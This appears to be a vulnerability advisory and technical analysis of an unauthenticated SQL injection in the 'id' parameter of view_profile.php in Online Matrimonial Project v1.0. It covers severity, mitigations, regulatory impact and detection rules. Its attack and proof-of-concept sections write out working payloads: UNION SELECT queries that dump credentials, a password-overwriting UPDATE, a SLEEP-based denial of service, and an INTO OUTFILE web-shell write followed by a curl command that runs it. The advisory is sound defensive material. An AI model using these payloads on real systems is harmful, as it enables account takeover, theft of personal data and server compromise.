Description
Online Matrimonial Project v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The 'id' parameter of the view_profile.php resource does not validate the characters received and they are sent unfiltered to the database.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2023-50967 (CVE-2023-46800)
Unauthenticated SQL Injection in Online Matrimonial Project v1.0
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Classification
EUVD-2023-50967 (CVE-2023-46800) is a critical unauthenticated SQL Injection (SQLi) vulnerability affecting the view_profile.php resource in Online Matrimonial Project v1.0. The flaw arises from improper input validation of the id parameter, which is directly concatenated into SQL queries without sanitization or parameterization.
CVSS v3.1 Severity Analysis
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over HTTP/HTTPS. |
| Attack Complexity (AC) | Low (L) | No specialized conditions required; trivial to exploit. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | No user interaction required. |
| Scope (S) | Unchanged (U) | Impact is confined to the vulnerable component. |
| Confidentiality (C) | High (H) | Full database access, including sensitive user data (PII, credentials). |
| Integrity (I) | High (H) | Arbitrary data modification, including user records and system settings. |
| Availability (A) | High (H) | Potential for database deletion, DoS, or backend compromise. |
Base Score: 9.8 (Critical) – This vulnerability is trivially exploitable with severe impact, making it a high-priority remediation target.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Mechanics
The vulnerability allows an attacker to inject malicious SQL queries via the id parameter in view_profile.php. Since the application does not enforce authentication, any unauthenticated user can exploit this flaw.
Example Attack Scenarios
-
Database Enumeration & Data Exfiltration
- An attacker can extract all database contents, including:
- User credentials (hashed or plaintext)
- Personal identifiable information (PII) (names, emails, phone numbers, addresses)
- Payment details (if stored)
- Administrative credentials
- Example Payload:
http://target.com/view_profile.php?id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,username,password,13,14 FROM users--- This retrieves usernames and passwords from the
userstable.
- This retrieves usernames and passwords from the
- An attacker can extract all database contents, including:
-
Arbitrary Data Manipulation
- Modification or deletion of records:
http://target.com/view_profile.php?id=1; UPDATE users SET password='hacked123' WHERE id=1-- - Impact: Full account takeover (ATO) of any user, including admins.
- Modification or deletion of records:
-
Remote Code Execution (RCE) via Database Functions
- If the database supports file write operations (e.g., MySQL
INTO OUTFILE), an attacker can:- Write a web shell to the server:
http://target.com/view_profile.php?id=1; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- - Execute arbitrary OS commands:
curl http://target.com/shell.php?cmd=id
- Write a web shell to the server:
- If the database supports file write operations (e.g., MySQL
-
Denial-of-Service (DoS)
- Resource exhaustion via heavy queries:
http://target.com/view_profile.php?id=1 AND (SELECT * FROM (SELECT(SLEEP(30)))foo)-- - Database corruption via
DROP TABLEorTRUNCATEcommands.
- Resource exhaustion via heavy queries:
Exploitation Tools & Techniques
- Manual Exploitation: Using Burp Suite, SQLmap, or curl to craft malicious requests.
- Automated Exploitation:
- SQLmap (automated SQLi detection & exploitation):
sqlmap -u "http://target.com/view_profile.php?id=1" --batch --dbs --risk=3 --level=5 - Metasploit Module: If a module exists, it could automate exploitation.
- SQLmap (automated SQLi detection & exploitation):
- Blind SQL Injection: If error messages are suppressed, time-based or boolean-based techniques can be used.
3. Affected Systems and Software Versions
Vulnerable Product
- Software: Online Matrimonial Project
- Vendor: Projectworlds Pvt. Limited
- Version: 1.0 (no patches available as of the last update)
- Deployment: Typically used in small to medium-sized matrimonial websites, often in South Asian markets (India, Pakistan, Bangladesh).
Attack Surface
- Web Application: PHP-based matrimonial platform.
- Database Backend: Likely MySQL or MariaDB (common in PHP applications).
- Authentication: No authentication required for exploitation.
- Privilege Escalation: If the database runs with high privileges (e.g.,
root), full system compromise is possible.
4. Recommended Mitigation Strategies
Immediate Remediation (Short-Term)
-
Input Validation & Sanitization
- Whitelist validation for the
idparameter (only allow integers). - Use prepared statements (parameterized queries) instead of dynamic SQL.
// Vulnerable (unsafe) $query = "SELECT * FROM profiles WHERE id = " . $_GET['id']; // Secure (parameterized) $stmt = $pdo->prepare("SELECT * FROM profiles WHERE id = :id"); $stmt->execute(['id' => $_GET['id']]);
- Whitelist validation for the
-
Web Application Firewall (WAF) Rules
- Deploy ModSecurity with OWASP Core Rule Set (CRS) to block SQLi attempts.
- Example rule:
SecRule ARGS "@detectSQLi" "id:1000,log,deny,status:403"
-
Disable Database Error Messages
- Prevent error-based SQLi by suppressing database errors in production:
mysqli_report(MYSQLI_REPORT_OFF);
- Prevent error-based SQLi by suppressing database errors in production:
-
Least Privilege Database Access
- Ensure the application database user has minimal permissions (no
FILE,ADMIN, orDROPprivileges).
- Ensure the application database user has minimal permissions (no
Long-Term Security Hardening
-
Code Review & Secure Development
- Conduct a full security audit of the application.
- Implement static application security testing (SAST) tools (e.g., SonarQube, Checkmarx).
- Enforce secure coding practices (OWASP Top 10 compliance).
-
Regular Vulnerability Scanning
- Use dynamic application security testing (DAST) tools (e.g., OWASP ZAP, Burp Suite).
- Schedule automated penetration testing.
-
Database Hardening
- Encrypt sensitive data (e.g., passwords with bcrypt or Argon2).
- Disable remote database access if not required.
- Enable query logging for forensic analysis.
-
Patch Management
- Monitor for vendor updates (though none are currently available).
- Consider migrating to a more secure matrimonial platform if no patches are released.
5. Impact on the European Cybersecurity Landscape
Regulatory & Compliance Risks
-
GDPR Violation (EU 2016/679)
- Article 5 (Principles relating to processing of personal data) – Failure to protect PII.
- Article 32 (Security of processing) – Lack of appropriate technical measures.
- Article 33 (Notification of a personal data breach) – Mandatory reporting if exploited.
- Potential Fines: Up to €20 million or 4% of global revenue (whichever is higher).
-
NIS2 Directive (EU 2022/2555)
- If the vulnerable system is part of a critical infrastructure (e.g., dating platforms with large user bases), NIS2 compliance may be required.
- Mandatory incident reporting within 24 hours of detection.
-
ePrivacy Directive (2002/58/EC)
- If the application processes user communications (e.g., messages), additional protections apply.
Threat Landscape Implications
-
Increased Attack Surface for Cybercriminals
- Matrimonial platforms are high-value targets due to:
- Sensitive PII (names, addresses, financial details).
- Emotional manipulation potential (e.g., blackmail, romance scams).
- Exploitation in the wild is likely, given the low complexity of the attack.
- Matrimonial platforms are high-value targets due to:
-
Supply Chain & Third-Party Risks
- Many European SMEs use off-the-shelf matrimonial scripts (like this one) without proper security reviews.
- Vendor accountability is a growing concern (ENISA’s Cybersecurity Act emphasizes secure software development).
-
Ransomware & Extortion Potential
- Attackers could exfiltrate data and demand ransom (e.g., double extortion).
- Example: A threat actor could leak user profiles unless paid.
-
Reputation & Trust Erosion
- Data breaches in dating/matrimonial platforms lead to loss of user trust.
- Legal consequences for European businesses (e.g., class-action lawsuits).
6. Technical Details for Security Professionals
Proof-of-Concept (PoC) Exploitation
Step 1: Identify the Vulnerable Parameter
- Request:
GET /view_profile.php?id=1 HTTP/1.1 Host: target.com - Response: If the application returns a database error, it confirms SQLi:
Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/view_profile.php on line 42
Step 2: Enumerate Database Schema
- Extract Database Name:
http://target.com/view_profile.php?id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,database(),12,13,14-- - Extract Tables:
http://target.com/view_profile.php?id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,table_name,12,13,14 FROM information_schema.tables WHERE table_schema=database()-- - Extract Columns (e.g., from
userstable):http://target.com/view_profile.php?id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,column_name,12,13,14 FROM information_schema.columns WHERE table_name='users'--
Step 3: Dump Sensitive Data
- Extract Usernames & Passwords:
http://target.com/view_profile.php?id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,username,password,13,14 FROM users--
Step 4: Escalate to RCE (If Possible)
- Write a Web Shell (MySQL):
http://target.com/view_profile.php?id=1; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- - Execute Commands:
curl http://target.com/shell.php?cmd=id
Detection & Forensic Analysis
-
Log Analysis
- Web Server Logs (Apache/Nginx):
grep -i "UNION.*SELECT" /var/log/apache2/access.log - Database Logs (MySQL):
SELECT * FROM mysql.general_log WHERE argument LIKE '%UNION%';
- Web Server Logs (Apache/Nginx):
-
Intrusion Detection Systems (IDS)
- Snort/Suricata Rule:
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection Attempt - UNION SELECT"; flow:to_server,established; content:"UNION"; nocase; content:"SELECT"; nocase; pcre:"/UNION\s+SELECT/i"; classtype:web-application-attack; sid:1000001; rev:1;)
- Snort/Suricata Rule:
-
Memory Forensics (Volatility)
- Check for malicious PHP processes or unusual database connections:
volatility -f memory.dump linux_psaux
- Check for malicious PHP processes or unusual database connections:
Reverse Engineering the Vulnerable Code
- Decompiled
view_profile.php(Hypothetical):<?php $id = $_GET['id']; // No sanitization! $query = "SELECT * FROM profiles WHERE id = $id"; // Vulnerable concatenation $result = mysqli_query($conn, $query); $profile = mysqli_fetch_assoc($result); ?> - Root Cause:
- Direct variable interpolation in SQL queries.
- No input validation (e.g.,
is_numeric()check). - No prepared statements used.
Conclusion & Recommendations
Key Takeaways
- EUVD-2023-50967 (CVE-2023-46800) is a critical unauthenticated SQLi with CVSS 9.8, allowing full database compromise, RCE, and data exfiltration.
- Exploitation is trivial and does not require authentication, making it a high-risk vulnerability.
- European organizations using this software face GDPR, NIS2, and ePrivacy compliance risks.
- Immediate patching, WAF deployment, and input validation are mandatory.
Action Plan for Security Teams
| Priority | Action | Owner | Timeline |
|---|---|---|---|
| Critical | Deploy WAF rules to block SQLi | Security Ops | Immediate (24h) |
| Critical | Patch or replace vulnerable software | DevOps | 1 week |
| High | Conduct a full security audit | Security Team | 2 weeks |
| High | Review database permissions | DB Admins | 1 week |
| Medium | Implement SAST/DAST in CI/CD | DevSecOps | 1 month |
| Low | User notification (if breach occurs) | Legal/Compliance | As needed |
Final Recommendation
Given the severity of this vulnerability and the lack of vendor patches, European organizations should:
- Immediately take the application offline if it contains sensitive data.
- Migrate to a secure alternative if no patches are available.
- Engage a third-party security firm for a penetration test and incident response readiness assessment.
Failure to act swiftly could result in a catastrophic data breach with severe legal and financial consequences.